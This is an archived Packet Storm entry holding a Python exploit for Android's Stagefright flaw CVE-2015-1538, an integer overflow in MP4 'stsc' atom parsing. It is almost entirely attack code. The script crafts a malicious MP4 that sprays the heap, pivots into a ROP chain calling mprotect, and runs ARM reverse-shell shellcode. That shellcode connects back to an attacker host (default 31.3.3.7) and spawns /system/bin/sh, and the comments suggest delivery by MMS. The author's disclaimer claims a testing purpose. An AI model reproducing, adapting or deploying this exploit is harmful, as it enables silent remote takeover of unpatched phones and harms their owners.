Android Stagefright Remote Code Execution

2015-09-10T00:00:00
ID PACKETSTORM:133521
Type packetstorm
Reporter jduck
Modified 2015-09-10T00:00:00

Description

                                        
                                            `#!/usr/bin/env python  
# Joshua J. Drake (@jduck) of ZIMPERIUM zLabs  
# Shout outs to our friends at Optiv (formerly Accuvant Labs)  
# (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015  
# www.zimperium.com  
#  
# Exploit for RCE Vulnerability CVE-2015-1538 #1  
# Integer Overflow in the libstagefright MP4 ‘stsc’ atom handling  
#  
# Don’t forget, the output of “create_mp4” can be delivered many ways!  
# MMS is the most dangerous attack vector, but not the only one…  
#  
# DISCLAIMER: This exploit is for testing and educational purposes only. Any  
# other usage for this code is not allowed. Use at your own risk.  
#  
# “With great power comes great responsibility.” – Uncle Ben  
#  
import struct  
import socket  
#  
# Creates a single MP4 atom – LEN, TAG, DATA  
#  
def make_chunk(tag, data):  
if len(tag) != 4:  
raise ‘Yo! They call it “FourCC” for a reason.’  
ret = struct.pack(‘>L’, len(data) + 8)  
ret += tag  
ret += data  
return ret  
#  
# Make an ‘stco’ atom – Sample Table Chunk Offets  
#  
def make_stco(extra=”):  
ret = struct.pack(‘>L’, 0) # version  
ret += struct.pack(‘>L’, 0) # mNumChunkOffsets  
return make_chunk(‘stco’, ret+extra)  
#  
# Make an ‘stsz’ atom – Sample Table Size  
#  
def make_stsz(extra=”):  
ret = struct.pack(‘>L’, 0) # version  
ret += struct.pack(‘>L’, 0) # mDefaultSampleSize  
ret += struct.pack(‘>L’, 0) # mNumSampleSizes  
return make_chunk(‘stsz’, ret+extra)  
#  
# Make an ‘stts’ atom – Sample Table Time-to-Sample  
#  
def make_stts():  
ret = struct.pack(‘>L’, 0) # version  
ret += struct.pack(‘>L’, 0) # mTimeToSampleCount  
return make_chunk(‘stts’, ret)  
#  
# This creates a single Sample Table Sample-to-Chunk entry  
#  
def make_stsc_entry(start, per, desc):  
ret = ”  
ret += struct.pack(‘>L’, start + 1)  
ret += struct.pack(‘>L’, per)  
ret += struct.pack(‘>L’, desc)  
return ret  
#  
# Make an ‘stsc’ chunk – Sample Table Sample-to-Chunk  
#  
# If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and  
# cause a heap overflow.  
#  
def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False):  
ret = struct.pack(‘>L’, 0) # version/flags  
# this is the clean version…  
if not do_overflow:  
ret += struct.pack(‘>L’, num_alloc) # mNumSampleToChunkOffsets  
ret += ‘Z’ * (12 * num_alloc)  
return make_chunk(‘stsc’, ret)  
  
# now the explicit version. (trigger the bug)  
ret += struct.pack(‘>L’, 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets  
# fill in the entries that will overflow the buffer  
for x in range(0, num_write):  
ret += make_stsc_entry(sp_addr, sp_addr, sp_addr)  
  
ret = make_chunk(‘stsc’, ret)  
  
# patch the data_size  
ret = struct.pack(‘>L’, 8 + 8 + (num_alloc * 12)) + ret[4:]  
  
return ret  
  
#  
# Build the ROP chain  
#  
# ROP pivot by Georg Wicherski! Thanks!  
#  
“””  
(gdb) x/10i __dl_restore_core_regs  
0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34  
0xb0002854 <__dl_restore_core_regs+4>: ldm r1, {r3, r4, r5}  
0xb0002858 <__dl_restore_core_regs+8>: push {r3, r4, r5}  
0xb000285c <__dl_restore_core_regs+12>: ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11}  
0xb0002860 <__dl_restore_core_regs+16>: ldm sp, {sp, lr, pc}  
“””  
“””  
b0001144 <__dl_mprotect>:  
b0001144: e92d0090 push {r4, r7}  
b0001148: e3a0707d mov r7, #125 ; 0x7d  
b000114c: ef000000 svc 0x00000000  
b0001150: e8bd0090 pop {r4, r7}  
b0001154: e1b00000 movs r0, r0  
b0001158: 512fff1e bxpl lr  
b000115c: ea0015cc b b0006894 <__dl_raise+0x10>  
“””  
def build_rop(off, sp_addr, newpc_val, cb_host, cb_port):  
rop = ”  
rop += struct.pack(‘<L’, sp_addr + off + 0x10) # new sp  
rop += struct.pack(‘<L’, 0xb0002a98) # new lr – pop {pc}  
rop += struct.pack(‘<L’, 0xb00038b2+1) # new pc: pop {r0, r1, r2, r3, r4, pc}  
  
rop += struct.pack(‘<L’, sp_addr & 0xfffff000) # new r0 – base address (page aligned)  
rop += struct.pack(‘<L’, 0x1000) # new r1 – length  
rop += struct.pack(‘<L’, 7) # new r2 – protection  
rop += struct.pack(‘<L’, 0xd000d003) # new r3 – scratch  
rop += struct.pack(‘<L’, 0xd000d004) # new r4 – scratch  
rop += struct.pack(‘<L’, 0xb0001144) # new pc – _dl_mprotect  
  
native_start = sp_addr + 0x80  
rop += struct.pack(‘<L’, native_start) # address of native payload  
#rop += struct.pack(‘<L’, 0xfeedfed5) # top of stack…  
# linux/armle/shell_reverse_tcp (modified to pass env and fork/exit)  
buf = ”  
# fork  
buf += ‘\x02\x70\xa0\xe3’  
buf += ‘\x00\x00\x00\xef’  
# continue if not parent…  
buf += ‘\x00\x00\x50\xe3’  
buf += ‘\x02\x00\x00\x0a’  
# exit parent  
buf += ‘\x00\x00\xa0\xe3’  
buf += ‘\x01\x70\xa0\xe3’  
buf += ‘\x00\x00\x00\xef’  
# setsid in child  
buf += ‘\x42\x70\xa0\xe3’  
buf += ‘\x00\x00\x00\xef’  
# socket/connect/dup2/dup2/dup2  
buf += ‘\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c’  
buf += ‘\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60’  
buf += ‘\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0’  
buf += ‘\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1’  
buf += ‘\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06’  
buf += ‘\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00’  
buf += ‘\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0’  
buf += ‘\xe3\x00\x00\x00\xef’  
# execve(shell, argv, env)  
buf += ‘\x30\x00\x8f\xe2\x04\x40\x24\xe0’  
buf += ‘\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d’  
buf += ‘\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00’  
buf += ‘\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00’  
buf += ‘\xef\x02\x00’  
# Add the connect back host/port  
buf += struct.pack(‘!H’, cb_port)  
cb_host = socket.inet_aton(cb_host)  
buf += struct.pack(‘=4s’, cb_host)  
# shell –  
buf += ‘/system/bin/sh\x00\x00’  
# argv –  
buf += ‘sh\x00\x00’  
# env –  
buf += ‘PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00’  
  
# Add some identifiable stuff, just in case something goes awry…  
rop_start_off = 0x34  
x = rop_start_off + len(rop)  
while len(rop) < 0x80 – rop_start_off:  
rop += struct.pack(‘<L’, 0xf0f00000+x)  
x += 4  
  
# Add the native payload…  
rop += buf  
  
return rop  
  
#  
# Build an mp4 that exploits CVE-2015-1538 #1  
#  
# We mimic meow.3gp here…  
#  
def create_mp4(sp_addr, newpc_val, cb_host, cb_port):  
chunks = []  
  
# Build the MP4 header…  
ftyp = ‘mp42’  
ftyp += struct.pack(‘>L’, 0)  
ftyp += ‘mp42’  
ftyp += ‘isom’  
chunks.append(make_chunk(‘ftyp’, ftyp))  
  
# Note, this causes a few allocations…  
moov_data = ”  
moov_data += make_chunk(‘mvhd’,  
struct.pack(‘>LL’, 0, 0x41414141) +  
(‘B’ * 0x5c) )  
  
# Add a minimal, verified trak to satisfy mLastTrack being set  
moov_data += make_chunk(‘trak’,  
make_chunk(‘stbl’,  
make_stsc(0x28, 0x28) +  
make_stco() +  
make_stsz() +  
make_stts() ))  
  
# Spray the heap using a large tx3g chunk (can contain binary data!)  
“””  
0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>: ldr r4, [r0, #4] ; load mRefs  
0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>: mov r5, r0  
0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>: mov r6, r1  
0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>: mov r0, r4  
0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>: blx 0x40069884 ; atomic_decrement  
0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>: cmp r0, #1 ; must be 1  
0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>: bne.n 0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42>  
0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>: ldr r0, [r4, #8] ; load refs->mBase  
0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>: ldr r1, [r0, #0] ; load mBase._vptr  
0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>: ldr r2, [r1, #12] ; load method address  
0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>: mov r1, r6  
0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>: blx r2 ; call it!  
“””  
page = ”  
off = 0 # the offset to the next object  
off += 8  
page += struct.pack(‘<L’, sp_addr + 8 + 16 + 8 + 12 – 28) # _vptr.RefBase (for when we smash mDataSource)  
page += struct.pack(‘<L’, sp_addr + off) # mRefs  
off += 16  
page += struct.pack(‘<L’, 1) # mStrong  
page += struct.pack(‘<L’, 0xc0dedbad) # mWeak  
page += struct.pack(‘<L’, sp_addr + off) # mBase  
page += struct.pack(‘<L’, 16) # mFlags (dont set OBJECT_LIFETIME_MASK)  
off += 8  
page += struct.pack(‘<L’, sp_addr + off) # the mBase _vptr.RefBase  
page += struct.pack(‘<L’, 0xf00dbabe) # mBase.mRefs (unused)  
off += 16  
page += struct.pack(‘<L’, 0xc0de0000 + 0x00) # vtable entry 0  
page += struct.pack(‘<L’, 0xc0de0000 + 0x04) # vtable entry 4  
page += struct.pack(‘<L’, 0xc0de0000 + 0x08) # vtable entry 8  
page += struct.pack(‘<L’, newpc_val) # vtable entry 12  
rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port)  
x = len(page)  
while len(page) < 4096:  
page += struct.pack(‘<L’, 0xf0f00000+x)  
x += 4  
  
off = 0x34  
page = page[:off] + rop + page[off+len(rop):]  
spray = page * (((2*1024*1024) / len(page)) – 20)  
moov_data += make_chunk(‘tx3g’, spray)  
block = ‘A’ * 0x1c  
bigger = ‘B’ * 0x40  
udta = make_chunk(‘udta’,  
make_chunk(‘meta’,  
struct.pack(‘>L’, 0) +  
make_chunk(‘ilst’,  
make_chunk(‘cpil’, make_chunk(‘data’, struct.pack(‘>LL’, 21, 0) + ‘A’)) +  
make_chunk(‘trkn’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABBBB’)) +  
make_chunk(‘disk’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABB’)) +  
make_chunk(‘covr’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 +  
make_chunk(‘\xa9alb’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +  
make_chunk(‘\xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +  
make_chunk(‘aART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +  
make_chunk(‘\xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +  
make_chunk(‘\xa9nam’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +  
make_chunk(‘\xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +  
make_chunk(‘gnre’, make_chunk(‘data’, struct.pack(‘>LL’, 1, 0) + block)) +  
make_chunk(‘covr’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 +  
make_chunk(‘\xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) +  
make_chunk(‘\xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) +  
make_chunk(‘\xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)))  
)  
)  
moov_data += udta  
  
# Make the nasty trak  
tkhd1 = ”.join([  
‘\x00’, # version  
‘D’ * 3, # padding  
‘E’ * (5*4), # {c,m}time, id, ??, duration  
‘F’ * 0x10, # ??  
struct.pack(‘>LLLLLL’,  
0x10000, # a00  
0, # a01  
0, # dx  
0, # a10  
0x10000, # a11  
0), # dy  
‘G’ * 0x14  
])  
  
trak1 = ”  
trak1 += make_chunk(‘tkhd’, tkhd1)  
  
mdhd1 = ”.join([  
‘\x00’, # version  
‘D’ * 0x17, # padding  
])  
  
mdia1 = ”  
mdia1 += make_chunk(‘mdhd’, mdhd1)  
mdia1 += make_chunk(‘hdlr’, ‘F’ * 0x3a)  
  
dinf1 = ”  
dinf1 += make_chunk(‘dref’, ‘H’ * 0x14)  
  
minf1 = ”  
minf1 += make_chunk(‘smhd’, ‘G’ * 0x08)  
minf1 += make_chunk(‘dinf’, dinf1)  
  
# Build the nasty sample table to trigger the vulnerability here.  
stbl1 = make_stsc(3, (0x1200 / 0xc) – 1, sp_addr, True) # TRIGGER  
  
# Add the stbl to the minf chunk  
minf1 += make_chunk(‘stbl’, stbl1)  
  
# Add the minf to the mdia chunk  
mdia1 += make_chunk(‘minf’, minf1)  
  
# Add the mdia to the track  
trak1 += make_chunk(‘mdia’, mdia1)  
  
# Add the nasty track to the moov data  
moov_data += make_chunk(‘trak’, trak1)  
  
# Finalize the moov chunk  
moov = make_chunk(‘moov’, moov_data)  
chunks.append(moov)  
  
# Combine outer chunks together and voila.  
data = ”.join(chunks)  
  
return data  
  
if __name__ == ‘__main__’:  
import sys  
import mp4  
import argparse  
  
def write_file(path, content):  
with open(path, ‘wb’) as f:  
f.write(content)  
  
def addr(sval):  
if sval.startswith(‘0x’):  
return int(sval, 16)  
return int(sval)  
  
# The address of a fake StrongPointer object (sprayed)  
sp_addr = 0x41d00010 # takju @ imm76i – 2MB (via hangouts)  
  
# The address to of our ROP pivot  
newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs  
  
# Allow the user to override parameters  
parser = argparse.ArgumentParser()  
parser.add_argument(‘-c’, ‘–connectback-host’, dest=‘cbhost’, default=‘31.3.3.7’)  
parser.add_argument(‘-p’, ‘–connectback-port’, dest=‘cbport’, type=int, default=12345)  
parser.add_argument(‘-s’, ‘–spray-address’, dest=‘spray_addr’, type=addr, default=None)  
parser.add_argument(‘-r’, ‘–rop-pivot’, dest=‘rop_pivot’, type=addr, default=None)  
parser.add_argument(‘-o’, ‘–output-file’, dest=‘output_file’, default=‘cve-2015-1538-1.mp4’)  
args = parser.parse_args()  
  
if len(sys.argv) == 1:  
parser.print_help()  
sys.exit(–1)  
  
if args.spray_addr == None:  
args.spray_addr = sp_addr  
if args.rop_pivot == None:  
args.rop_pivot = newpc_val  
  
# Build the MP4 file…  
data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport)  
print(‘[*] Saving crafted MP4 to %s …’ % args.output_file)  
write_file(args.output_file, data) - See more at: https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/#sthash.MbvoiMxd.dpuf  
  
`